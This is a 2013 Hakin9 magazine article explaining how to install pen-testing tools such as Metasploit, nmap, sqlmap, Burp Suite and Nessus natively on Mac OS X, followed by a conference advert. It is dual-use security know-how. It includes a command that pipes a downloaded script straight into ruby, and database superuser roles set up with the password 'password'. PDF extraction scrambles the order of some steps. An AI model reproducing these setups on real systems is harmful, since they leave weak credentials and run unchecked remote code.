How to Use The Mac OS X Hackers Toolbox When you think of an operating system to run pen testing tools on, you probably think of Linux and more specifically BackTrack Linux. BackTrack Linux is a great option and one of the most common platforms for running pen testing tools. If you are a Mac user, then you would most likely run a virtual machine of BackTrack Linux.

W

hile his is a great option, sometimes it is nice to have your tools running on the native operating system of your computer. Another benefit is to not having to share your system resources with a virtual machine. This also eliminates the need to transfer files between your operating system and a virtual machine, and the hassles of having to deal with a virtual machine. Also by running the tools within OS X, you will be able to seamlessly access all of your Mac OS X applications. My attack laptop happens to be a MacBook Pro and I started out running VirtualBox with a BackTrack Linux virtual machine. I recently started installing my hacking tools on my MacBook Pro. I wanted to expand the toolset of my Mac, so I started with Nessus, nmap, SQLMap, and then I installed Metasploit. My goal is to get most if not all of the tools I use installed on my MacBook Pro and run them natively within OS X. Since Mac OS X is a UNIX based operating system, you get great tools that comes native within UNIX operating systems such as netcat and SSH. You also have powerful scripting languages installed such as Perl and Python. With all of the benefits and features of the Mac OS X, there is no reason to not use Mac OS X for your pen testing platform. I was really surprised to not see a lot of information on the subject of using Mac OS X as pen testing/ hacking platform. Metasploit was the toughest application to get running on Mac OS X and that was

174

mostly due to the PostgreSQL database setup. The majority of hacking tools are command line based, so they are easy and are fairly straight forward to install. In this article I am going to take you through installing and configuring some of the most popular and useful hacking tools such as Metasploit on Mac OS X. If you are interested in maximizing the use of your Mac for pen testing and running your tools natively, then you should find this article helpful.

The Tools The pen test tools we will be installing is a must have set of tools and all of them are free, with the exception of Burp Suite and Nessus. Although Burb Suite has a free version, which offers a portion of the Burp Suite tools for free. The tools offered for free with Burp Suite are useful tools and I highly recommend them. The professional version of Burp Suite is reasonably priced. • • • • • • • • •

Metasploit Framework Nmap SQLmap Burp Suite Nessus SSLScan Wireshark TCPDUMP Netcat

TBO 01/2013

Metasploit Framework The Metasploit Framework is one of the most popular and powerful exploit tools for pen testers and a must have for pen testers. The Metasploit Framework simplifies the exploitation process and allows you to manage your pen tests with the workspace function in Metasploit. Metasploit also allows you to run nmap within Metasploit and the scan information is organized by project with the workspace function. You can create your own exploits and modify existing exploits in Metasploit. Metasploit has many more features and too many to mention in this article, plus the scope of this article is demonstrate how to install Metasploit and other pen testing tools.

Install the MacPorts app • Download and install the package file (.dmg) file from the MacPorts web site; https://distfiles. macports.org/MacPorts/ Once the files is downloaded install MacPorts. More information on MacPorts can be found here: http://www.macports.org/install.php • Run MacPorts selfupdate to make sure it is using the latest version. From a terminal window run the following command:

$ sudo port selfupdate

Ruby 1.9.3

The Install

Mac OS X is preinstalled with Ruby, but we want to upgrade to Ruby 1.9.3

Before we install Metasploit, we need to install some software dependencies. It is a little more work to install Metasploit on Mac OS X, but it will be worth it. Listed below are the prerequisite software packages.

• We will be using MacPorts to upgrade Ruby. From a terminal window run the following command:

Software Prerequisites • • • •

MacPorts Ruby1.9.3 Homebrew PostreSQL

MacPorts Installation Install Xcode



opt/local/

It’s a good idea to verify that the PATH is correct, so that opt/local/bin is listed before / usr/bin. You should get back something that looks like this: /opt/local/bin:/opt/local/sbin:/usr/bin:/bin:/ usr/sbin:/sbin

You can verify the path by entering the following syntax in a terminal window:

• Xcode Install from the Apple App Store, or it can be downloaded from the following URL; https://developer.apple.com/xcode/ • Once Xcode is installed go into the Xcode preferences and install the “Command Line Tools”. (see Figure 1)

$ sudo port install ruby19 +nosuffix

• The default Ruby install path for MacPorts is: /

$ echo $PATH

To verify the Ruby install locations, enter this syntax:

$ which ruby gem

You should get back the following response: /opt/local/bin/ruby /opt/local/bin/gem

Database Installation

Figure 1. Install “Command Line Tools”

www.hakin9.org/en

A database is not required to run, but some of the features of Metasploit require that you install a database. The workspace feature of Metasploit is one of the really nice features of Metasploit that requires a database. Workspace allows easy project organization by offering separate workspaces for each project. PostgreSQL is the vendor recommended and supported database, but MySQL can be used. In this article, we will be using PostgreSQL. We will use Homebrew to install PostgreSQL. I tried a few different installation methods, but this is the easiest way to install PostgreSQL. Homebrew is good method to install Open Source software packages.

175

HAKIN9 EXTRA • First we will install Homebrew. From a terminal window run the following command:

$ ruby -e “$(curl -fsSkL raw.github.com/mxcl/ homebrew/go)”

• Next we will install PostgreSQL using Homebrew. From a terminal window run the following command:

$ brew install postgresql

• Next we initialize the database, configure the startup, and start PostgreSQL. From a terminal window run the following command: initdb /usr/local/var/postgres cp /usr/ local/Cellar/postgresql/9.1.4/homebrew.mxcl. postgresql.plist ~/Library/LaunchAgents/ launchctl load -w ~/Library/LaunchAgents/ homebrew.mxcl.postgresql.plist pg_ctl -D / usr/local/var/postgres -l /usr/local/var/ postgres/server.log start

• Database configuration In this step we will create our Metasploit database and the database user. • The Homebrew install does not create the posgres user, so we need to create the postgres user to create databases and database users. At a command prompt, type the following: $ $ $ $ $

createuser postgres _ user -P Enter password for new role: password Enter it again: password Shall the new role be a superuser? (y/n) y Shall the new role be allowed to create databases? (y/n) y $ Shall the new role be allowed to create more new roles? (y/n) y

• Creating the database user At a command prompt, type the following: $ $ $ $ $

createuser msf _ user -P Enter password for new role: password Enter it again: password Shall the new role be a superuser? (y/n) n Shall the new role be allowed to create databases? (y/n) n $ Shall the new role be allowed to create more new roles? (y/n) n

Metasploit software installation The dependencies have been installed and next we will be installing the Metasploit software. • Download the Metsploit source code for installation using the link provided below and do not download the .run file from the Metasploit download page. Download the Metasploit tar file from: http://downloads.metasploit.com/data/ releases/framework-latest.tar.bz2. • Once the download is complete, untar the file. If you have software installed to unzip or untar files, then it should untar the file when the file is finished downloading. I use StuffIt Expander and it untarred the file for me upon completion of the download. If you need to manually untar the file, type this command at the command line and it will untar the file into the desired directory: $ sudo tar –xvf framework-lastest-tar.bz2 –C /opt

If the file was untarred for you as mentioned, you will need to move the Metasploit source file structure to the opt directory. Your directory structure should look like this: /opt/metasploit3/msf3

Starting Metasploit Now that Metasploit is installed, we will start Metasploit for the first time. You will need to navigate to the Metasploit directory and start Metasploit. • Navigate to the Metaploit directory with the following syntax entered at the command line: $ cd /opt/metasploit/msf3 • To start Metasploit, simply enter the following syntax: $ sudo ./msfconsole You will get one of the many Metasploit screens like the one in Figure 2.

• Creating the database At a command prompt, type the following: $ createdb --owner=msf _ user msf _ database

• Install the pg gem. At a command prompt, type the following: $ gem install pg

The database and database user are created, so now it is time to install Metasploit.

176

Figure 2. This is one of the many Metasploit screens you will see when launching Metasploit

TBO 01/2013

Connecting to the database In this next step we will connect Metasploit to our PostgreSQL data base. From the Metasploit prompt, type the following syntax: msf > db_connect msf_user:[email protected]/msf_ database

You will see the following message and you should be connected.

[*] postgresql connected to msf_database

The database is now connected to Metasploit, but once you exit Metasploit the database will be disconnected. To configure Metasploit to automatically connect on startup, we will have to create the msfconsole.rc file. Enter the following syntax at the command prompt: $ cat > ~/.msf3/msfconsole.rc db_status

You will get the following back verifying the database is connected: Listing 1. Database Backend Commands as displayed in the Metasploit console Database Backend Commands ========================= Command ------creds

Description ----------List all credentials in the database db_connect Connect to an existing database db_disconnect Disconnect from the current database instance db_export Export a file containing the contents of the database db_import Import a scan result file (filetype will be auto-detected) db_nmap Executes nmap and records the output automatically db_rebuild_cache Rebuilds the database-stored module cache db_status Show the current database status hosts List all hosts in the database loot List all loot in the database notes List all notes in the database services List all services in the database vulns List all vulnerabilities in the database workspace Switch between database workspaces

www.hakin9.org/en

-y /opt/metasploit3/config/database.yml EOF

Updating Metasploit Now that we have Metasploit installed and configured, we will update the Metasploit installation. From the command prompt, type the following syntax: $ ./msfupdate

This can take a while, so just set back and let the update complete. Make sure to update Metasploit frequently so you have the latest exploits.

The benefits of Metasploit with database Metasploit is installed, the database is connected and ready to use. So what can I do with Metasploit with a database that I couldn’t do without one? Here is a list of the new functionality gained by using a database with Metaploit. Here is a list of the Metasploit Database Backend Commands taken directly from the Metasploit console: Listing 1. The commands are pretty much self-explanatory, but to it should be noted that db_import allows you to import nmap scans done outside of Metasploit. This comes in handy when you are working with others on a pen test and you want to centrally manage your pen test data. As mentioned earlier, workspace helps you manage your pen tests by allowing you to store them in separate areas of the database. A great reference guide for Metasploit can be found at Offensive Security’s website: http://www. offensive-security.com/metasploit-unleashed/ Main_Page.

Nmap Nmap is an open source network discovery and security auditing tool. You can run nmap within Metasploit, but it is good to have nmap installed so you can run nmap outside of Metasploit.

177

HAKIN9 EXTRA We will use Homebrew to install nmap. From the command prompt, type the following syntax:

To install sslscan, type the following syntax at the command prompt:

$ brew install nmap

$ brew install sslscan

Visit the Nmap website for the Nmap reference guide: http://nmap.org/book/man.html.

SQLmap SQLmap is a penetration testing tool that detects SQL injection flaws and automates SQL injection. From the command prompt, type the following syntax: $ git clone https://github.com/sqlmapproject/ sqlmap.git sqlmap-dev

Burp Suite Burp Suite is a set of web security testing tools, including Burp Proxy. To install Burp Suite, download it from: http://www.portswigger.net/burp/download. html To run Burp, type the following syntax from the command prompt:

Wireshark is a packet analyzer and can be useful in pen tests. Wireshark DMG package can be downloaded from the Wireshark website: http://www.wireshark. org/download.html. Once the file is downloaded, double click to install Wireshark.

TCPDUMP TCPDUMP is a command line packet analyzer that is preinstalled on Mac OS X. For more information consult the man page for tcpdump, by typing the following syntax at the command prompt: $ man tcpdump

Netcat

For more information on using Burp, go to the Burp Suite website: http://www.portswigger.net/ burp/help/.

Netcat is a multipurpose network utility that is preinstalled on Mac OS X. Netcat can be used for port redirection, tunneling, and port scanning to just name a few of the capabilities of netcat. Netcat is used a lot for reverse shells. For more information on netcat, type the following syntax at the command prompt:

Nessus

$ man nc

$ java -jar -Xmx1024m burpsuite_v1.4.01.jar

Nessus is a commercial vulnerability scanner and it can be downloaded from the Tenable Network website: http://www.tenable.com/products/nessus/ nessus-download-agreement. Download the file Nessus-5.x.x.dmg.gz, and then double click on it to unzip it. Double click on the Nessus-5.x.x.dmg file, which will mount the disk image and make it appear under “Devices” in “Finder”. Once the volume “Nessus 5” appears in “Finder”, double click on the file Nessus 5. The Nessus installer is GUI based like other Mac OS X applications, so there are no special instructions to document. The Nessus 5.0 Installation and Configuration Guide as well as the Nessus 5.0 User Guide can be downloaded from the documentation section of the Tenable Network website: http:// www.tenable.com/products/nessus/documentation.

SSLScan SSLScan queries SSL services, such as HTTPS, in order to determine the ciphers that are supported.

178

Wireshark

Conclusion Follow the instructions in this article, you will have a fully functional set of hacking tools installed on your Mac and you will be able to run them natively without having to start a virtual machine or deal with the added administrative overhead that comes with running a virtual machine. You will also not have to share resources with a virtual machine. I hope you found this article useful and I hope you enjoy setting up your Mac OS X hacker toolbox as much as I did. With Macs gaining popularity, I can only imagine they will become more widely used in pen testing.

PHILLIP WYLIE

Phillip Wylie is a security consultant specializing in penetration testing, network vulnerability assessments and application vulnerability assessments. Phillip has over 8 years of experience in information security and 7 years of system administration experience.

TBO 01/2013

Big Data gets real at Big Data TechCon! The HOW-TO conference for Big Data and IT Professionals Discover how to master Big Data from real-world practitioners – instructors who work in the trenches and can teach you from real-world experience!

Come to Big Data TechCon to learn the best ways to: • Collect, sort and store massive quantities of structured and unstructured data • Process real-time data pouring into your organization

Ovheowr-t5o 0

s l classe practicaorkshops and w oose • Master Big Data tools and to ch ! from technologies like Hadoop, Map/Reduce, NoSQL databases, and more • Learn HOW TO integrate data-collection technologies with analysis and business-analysis tools to produce the kind of workable information and reports your organization needs • Understand HOW TO leverage Big Data to help your organization today

April 8-10, 2013 Boston, MA

www.BigDataTechCon.com

Register Early and SAVE! A BZ Media Event Big Data TechCon™ is a trademark of BZ Media LLC.

View more...

Comments

Copyright ©2017 KUPDF Inc.
SUPPORT KUPDF